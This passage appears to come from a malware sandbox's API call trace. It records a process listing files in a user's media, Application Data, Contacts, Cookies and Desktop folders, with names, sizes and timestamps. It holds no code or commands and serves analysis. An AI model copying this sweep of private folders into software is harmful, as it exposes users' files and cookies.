nFileSizeHigh=0x0, nFileSizeLow=0x389e, dwReserved0=0x0, dwReserved1=0x0, cFileName="CnG3Kvodd.mp4", cAlternateFileName="CNG3KV~1.MP4")) returned 1 [0213.131] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78b5c860, ftCreationTime.dwHighDateTime=0x1d9abe5, ftLastAccessTime.dwLowDateTime=0x6f6f3b90, ftLastAccessTime.dwHighDateTime=0x1d9b060, ftLastWriteTime.dwLowDateTime=0x6f6f3b90, ftLastWriteTime.dwHighDateTime=0x1d9b060, nFileSizeHigh=0x0, nFileSizeLow=0xcec, dwReserved0=0x0, dwReserved1=0x0, cFileName="cR2X8y-W.avi", cAlternateFileName="")) returned 1 [0213.131] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x4347fe61, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x4347fe61, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x436238c4, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0213.131] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2ff2c50, ftCreationTime.dwHighDateTime=0x1d9aaaa, ftLastAccessTime.dwLowDateTime=0xea8474b0, ftLastAccessTime.dwHighDateTime=0x1d9aef5, ftLastWriteTime.dwLowDateTime=0xea8474b0, ftLastWriteTime.dwHighDateTime=0x1d9aef5, nFileSizeHigh=0x0, nFileSizeLow=0x31a9, dwReserved0=0x0, dwReserved1=0x0, cFileName="EzLObw4Sp7VPWmz.flv", cAlternateFileName="EZLOBW~1.FLV")) returned 1 [0213.132] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf6d6b70, ftCreationTime.dwHighDateTime=0x1d9ae31, ftLastAccessTime.dwLowDateTime=0x237bb2d0, ftLastAccessTime.dwHighDateTime=0x1d9b1b0, ftLastWriteTime.dwLowDateTime=0x237bb2d0, ftLastWriteTime.dwHighDateTime=0x1d9b1b0, nFileSizeHigh=0x0, nFileSizeLow=0x1364e, dwReserved0=0x0, dwReserved1=0x0, cFileName="HIFKPtmPBbkMQjVHt.avi", cAlternateFileName="HIFKPT~1.AVI")) returned 1 [0213.132] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22069720, ftCreationTime.dwHighDateTime=0x1d9b2f1, ftLastAccessTime.dwLowDateTime=0x71fede00, ftLastAccessTime.dwHighDateTime=0x1d9b4bc, ftLastWriteTime.dwLowDateTime=0x71fede00, ftLastWriteTime.dwHighDateTime=0x1d9b4bc, nFileSizeHigh=0x0, nFileSizeLow=0x2e18, dwReserved0=0x0, dwReserved1=0x0, cFileName="HU-igGNceIklO4PCgk7W.avi", cAlternateFileName="HU-IGG~1.AVI")) returned 1 [0213.132] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63d5d3c0, ftCreationTime.dwHighDateTime=0x1d9b2db, ftLastAccessTime.dwLowDateTime=0x747277e0, ftLastAccessTime.dwHighDateTime=0x1d9b481, ftLastWriteTime.dwLowDateTime=0x747277e0, ftLastWriteTime.dwHighDateTime=0x1d9b481, nFileSizeHigh=0x0, nFileSizeLow=0xf78c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ii-T1r 3G1kS_vN.mp4", cAlternateFileName="II-T1R~1.MP4")) returned 1 [0213.132] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46c4e7f0, ftCreationTime.dwHighDateTime=0x1d9ab3b, ftLastAccessTime.dwLowDateTime=0xa1114d80, ftLastAccessTime.dwHighDateTime=0x1d9affe, ftLastWriteTime.dwLowDateTime=0xa1114d80, ftLastWriteTime.dwHighDateTime=0x1d9affe, nFileSizeHigh=0x0, nFileSizeLow=0x49b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="jcgiJZ3.mp4", cAlternateFileName="")) returned 1 [0213.133] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ed3e280, ftCreationTime.dwHighDateTime=0x1d9a7ac, ftLastAccessTime.dwLowDateTime=0x192230a0, ftLastAccessTime.dwHighDateTime=0x1d9b310, ftLastWriteTime.dwLowDateTime=0x192230a0, ftLastWriteTime.dwHighDateTime=0x1d9b310, nFileSizeHigh=0x0, nFileSizeLow=0x63f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="K0Lg.mp4", cAlternateFileName="")) returned 1 [0213.133] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bde6030, ftCreationTime.dwHighDateTime=0x1d9a5ec, ftLastAccessTime.dwLowDateTime=0x95358390, ftLastAccessTime.dwHighDateTime=0x1d9aa78, ftLastWriteTime.dwLowDateTime=0x95358390, ftLastWriteTime.dwHighDateTime=0x1d9aa78, nFileSizeHigh=0x0, nFileSizeLow=0x18408, dwReserved0=0x0, dwReserved1=0x0, cFileName="Kl73FiAvdq.swf", cAlternateFileName="KL73FI~1.SWF")) returned 1 [0213.133] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfafdd2b0, ftCreationTime.dwHighDateTime=0x1d9a832, ftLastAccessTime.dwLowDateTime=0xc984f950, ftLastAccessTime.dwHighDateTime=0x1d9ac26, ftLastWriteTime.dwLowDateTime=0xc984f950, ftLastWriteTime.dwHighDateTime=0x1d9ac26, nFileSizeHigh=0x0, nFileSizeLow=0x6626, dwReserved0=0x0, dwReserved1=0x0, cFileName="nTnSLZujUSHef4w.avi", cAlternateFileName="NTNSLZ~1.AVI")) returned 1 [0213.133] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x287994f0, ftCreationTime.dwHighDateTime=0x1d9b110, ftLastAccessTime.dwLowDateTime=0xb5b10290, ftLastAccessTime.dwHighDateTime=0x1d9b110, ftLastWriteTime.dwLowDateTime=0xb5b10290, ftLastWriteTime.dwHighDateTime=0x1d9b110, nFileSizeHigh=0x0, nFileSizeLow=0xe768, dwReserved0=0x0, dwReserved1=0x0, cFileName="OAYZ0Os.swf", cAlternateFileName="")) returned 1 [0213.133] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84f33f30, ftCreationTime.dwHighDateTime=0x1d9b2bc, ftLastAccessTime.dwLowDateTime=0x87e94a90, ftLastAccessTime.dwHighDateTime=0x1d9b465, ftLastWriteTime.dwLowDateTime=0x87e94a90, ftLastWriteTime.dwHighDateTime=0x1d9b465, nFileSizeHigh=0x0, nFileSizeLow=0x10d75, dwReserved0=0x0, dwReserved1=0x0, cFileName="oWQXb49xx.swf", cAlternateFileName="OWQXB4~1.SWF")) returned 1 [0213.134] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52691fd0, ftCreationTime.dwHighDateTime=0x1d9ab1e, ftLastAccessTime.dwLowDateTime=0x50234ea0, ftLastAccessTime.dwHighDateTime=0x1d9ac07, ftLastWriteTime.dwLowDateTime=0x50234ea0, ftLastWriteTime.dwHighDateTime=0x1d9ac07, nFileSizeHigh=0x0, nFileSizeLow=0x35ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="p18NLuuMBhn5Jx9G.mkv", cAlternateFileName="P18NLU~1.MKV")) returned 1 [0213.134] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0269330, ftCreationTime.dwHighDateTime=0x1d9a75c, ftLastAccessTime.dwLowDateTime=0x5067a720, ftLastAccessTime.dwHighDateTime=0x1d9b4b9, ftLastWriteTime.dwLowDateTime=0x5067a720, ftLastWriteTime.dwHighDateTime=0x1d9b4b9, nFileSizeHigh=0x0, nFileSizeLow=0xe310, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rc3gSbT-Eom.avi", cAlternateFileName="RC3GSB~1.AVI")) returned 1 [0213.134] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7afb2480, ftCreationTime.dwHighDateTime=0x1d9a974, ftLastAccessTime.dwLowDateTime=0x4aa2da60, ftLastAccessTime.dwHighDateTime=0x1d9ac78, ftLastWriteTime.dwLowDateTime=0x4aa2da60, ftLastWriteTime.dwHighDateTime=0x1d9ac78, nFileSizeHigh=0x0, nFileSizeLow=0x176a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="stF joEuH9rNdOF4n.avi", cAlternateFileName="STFJOE~1.AVI")) returned 1 [0213.134] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f502ec0, ftCreationTime.dwHighDateTime=0x1d9a91c, ftLastAccessTime.dwLowDateTime=0x815fb7d0, ftLastAccessTime.dwHighDateTime=0x1d9ab1f, ftLastWriteTime.dwLowDateTime=0x815fb7d0, ftLastWriteTime.dwHighDateTime=0x1d9ab1f, nFileSizeHigh=0x0, nFileSizeLow=0xd8c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UEVYZxSNW1de8Pf.flv", cAlternateFileName="UEVYZX~1.FLV")) returned 1 [0213.135] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x861a2b30, ftCreationTime.dwHighDateTime=0x1d9a975, ftLastAccessTime.dwLowDateTime=0x52323810, ftLastAccessTime.dwHighDateTime=0x1d9b2c3, ftLastWriteTime.dwLowDateTime=0x52323810, ftLastWriteTime.dwHighDateTime=0x1d9b2c3, nFileSizeHigh=0x0, nFileSizeLow=0x13a89, dwReserved0=0x0, dwReserved1=0x0, cFileName="UYcDo m16Zw.swf", cAlternateFileName="UYCDOM~1.SWF")) returned 1 [0213.135] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x855d75b0, ftCreationTime.dwHighDateTime=0x1d9b50c, ftLastAccessTime.dwLowDateTime=0x39b3bd20, ftLastAccessTime.dwHighDateTime=0x1d9b51d, ftLastWriteTime.dwLowDateTime=0x39b3bd20, ftLastWriteTime.dwHighDateTime=0x1d9b51d, nFileSizeHigh=0x0, nFileSizeLow=0x10260, dwReserved0=0x0, dwReserved1=0x0, cFileName="XvFCJJyqCv.avi", cAlternateFileName="XVFCJJ~1.AVI")) returned 1 [0213.135] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x855d75b0, ftCreationTime.dwHighDateTime=0x1d9b50c, ftLastAccessTime.dwLowDateTime=0x39b3bd20, ftLastAccessTime.dwHighDateTime=0x1d9b51d, ftLastWriteTime.dwLowDateTime=0x39b3bd20, ftLastWriteTime.dwHighDateTime=0x1d9b51d, nFileSizeHigh=0x0, nFileSizeLow=0x10260, dwReserved0=0x0, dwReserved1=0x0, cFileName="XvFCJJyqCv.avi", cAlternateFileName="XVFCJJ~1.AVI")) returned 0 [0213.135] FindClose (in: hFindFile=0x1d468f80 | out: hFindFile=0x1d468f80) returned 1 [0213.136] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de960) returned 1 [0213.136] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de920) returned 1 [0213.136] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dea30) returned 1 [0213.136] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Application Data", nBufferLength=0x105, lpBuffer=0x1e1de510, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Application Data", lpFilePart=0x0) returned 0x26 [0213.136] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Application Data\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\application data\\*"), lpFindFileData=0x1e1de740 | out: lpFindFileData=0x1e1de740*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0213.136] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de9d0) returned 1 [0213.139] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dea30) returned 1 [0213.139] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Application Data", nBufferLength=0x105, lpBuffer=0x1e1de510, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Application Data", lpFilePart=0x0) returned 0x26 [0213.139] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Application Data\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\application data\\*"), lpFindFileData=0x1e1de740 | out: lpFindFileData=0x1e1de740*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0213.139] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de9d0) returned 1 [0213.321] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dea30) returned 1 [0213.321] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Contacts", nBufferLength=0x105, lpBuffer=0x1e1de510, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Contacts", lpFilePart=0x0) returned 0x1e [0213.321] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Contacts\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\contacts\\*"), lpFindFileData=0x1e1de740 | out: lpFindFileData=0x1e1de740*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x435fd682, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x435fd682, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x435fd682, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a120 [0213.321] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x435fd682, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x435fd682, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x435fd682, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0213.322] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x435fd682, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x435fd682, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x435fd682, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0213.322] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0213.322] FindClose (in: hFindFile=0x1d46a120 | out: hFindFile=0x1d46a120) returned 1 [0213.322] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de960) returned 1 [0213.322] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de920) returned 1 [0213.322] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dea30) returned 1 [0213.322] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Contacts", nBufferLength=0x105, lpBuffer=0x1e1de510, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Contacts", lpFilePart=0x0) returned 0x1e [0213.322] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Contacts\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\contacts\\*"), lpFindFileData=0x1e1de740 | out: lpFindFileData=0x1e1de740*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x435fd682, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x435fd682, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x435fd682, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469220 [0213.323] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x435fd682, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x435fd682, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x435fd682, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0213.323] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x435fd682, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x435fd682, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x435fd682, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0213.323] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x435fd682, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x435fd682, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x435fd682, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0213.324] FindClose (in: hFindFile=0x1d469220 | out: hFindFile=0x1d469220) returned 1 [0213.324] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de960) returned 1 [0213.324] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de920) returned 1 [0213.324] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dea30) returned 1 [0213.324] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Cookies", nBufferLength=0x105, lpBuffer=0x1e1de510, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Cookies", lpFilePart=0x0) returned 0x1d [0213.324] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Cookies\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\cookies\\*"), lpFindFileData=0x1e1de740 | out: lpFindFileData=0x1e1de740*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0213.324] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de9d0) returned 1 [0213.328] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dea30) returned 1 [0213.328] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Cookies", nBufferLength=0x105, lpBuffer=0x1e1de510, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Cookies", lpFilePart=0x0) returned 0x1d [0213.329] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Cookies\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\cookies\\*"), lpFindFileData=0x1e1de740 | out: lpFindFileData=0x1e1de740*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0213.329] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de9d0) returned 1 [0213.332] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dea30) returned 1 [0213.332] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop", nBufferLength=0x105, lpBuffer=0x1e1de510, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Desktop", lpFilePart=0x0) returned 0x1d [0213.332] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\*"), lpFindFileData=0x1e1de740 | out: lpFindFileData=0x1e1de740*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ced6473, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xfc74adce, ftLastAccessTime.dwHighDateTime=0x1d9eb0b, ftLastWriteTime.dwLowDateTime=0xfc74adce, ftLastWriteTime.dwHighDateTime=0x1d9eb0b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d468f80 [0213.332] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ced6473, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xfc74adce, ftLastAccessTime.dwHighDateTime=0x1d9eb0b, ftLastWriteTime.dwLowDateTime=0xfc74adce, ftLastWriteTime.dwHighDateTime=0x1d9eb0b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0213.333] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc335d30, ftCreationTime.dwHighDateTime=0x1d9b0f1, ftLastAccessTime.dwLowDateTime=0x505dbcb0, ftLastAccessTime.dwHighDateTime=0x1d9b1f3, ftLastWriteTime.dwLowDateTime=0x505dbcb0, ftLastWriteTime.dwHighDateTime=0x1d9b1f3, nFileSizeHigh=0x0, nFileSizeLow=0xa0eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="0J-gyk47S0jeqIVJP.bmp", cAlternateFileName="0J-GYK~1.BMP")) returned 1 [0213.333] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce27fdd0, ftCreationTime.dwHighDateTime=0x1d9a7ef, ftLastAccessTime.dwLowDateTime=0xc0672be0, ftLastAccessTime.dwHighDateTime=0x1d9af7d, ftLastWriteTime.dwLowDateTime=0xc0672be0, ftLastWriteTime.dwHighDateTime=0x1d9af7d, nFileSizeHigh=0x0, nFileSizeLow=0x111ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="18-hyfZsRkg_CCpfF-.m4a", cAlternateFileName="18-HYF~1.M4A")) returned 1 [0213.333] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90ed59f0, ftCreationTime.dwHighDateTime=0x1d9af57, ftLastAccessTime.dwLowDateTime=0x8ad6a2c0, ftLastAccessTime.dwHighDateTime=0x1d9b3f2, ftLastWriteTime.dwLowDateTime=0x8ad6a2c0, ftLastWriteTime.dwHighDateTime=0x1d9b3f2, nFileSizeHigh=0x0, nFileSizeLow=0xac34, dwReserved0=0x0, dwReserved1=0x0, cFileName="1TH07Wj.ppt", cAlternateFileName="")) returned 1 [0213.333] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63235300, ftCreationTime.dwHighDateTime=0x1d9a91f, ftLastAccessTime.dwLowDateTime=0xd2db4510, ftLastAccessTime.dwHighDateTime=0x1d9b255, ftLastWriteTime.dwLowDateTime=0xd2db4510, ftLastWriteTime.dwHighDateTime=0x1d9b255, nFileSizeHigh=0x0, nFileSizeLow=0x165ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="5A8N_IVgZvW0KV.mp4", cAlternateFileName="5A8N_I~1.MP4")) returned 1 [0213.334] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17212ae0, ftCreationTime.dwHighDateTime=0x1d9b39c, ftLastAccessTime.dwLowDateTime=0xd0915f50, ftLastAccessTime.dwHighDateTime=0x1d9b3b9, ftLastWriteTime.dwLowDateTime=0xd0915f50, ftLastWriteTime.dwHighDateTime=0x1d9b3b9, nFileSizeHigh=0x0, nFileSizeLow=0x13f93, dwReserved0=0x0, dwReserved1=0x0, cFileName="9K5eYu2oTIeDUPaL.png", cAlternateFileName="9K5EYU~1.PNG")) returned 1 [0213.334] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7f4f8b0, ftCreationTime.dwHighDateTime=0x1d9afd0, ftLastAccessTime.dwLowDateTime=0x123d2160, ftLastAccessTime.dwHighDateTime=0x1d9b062, 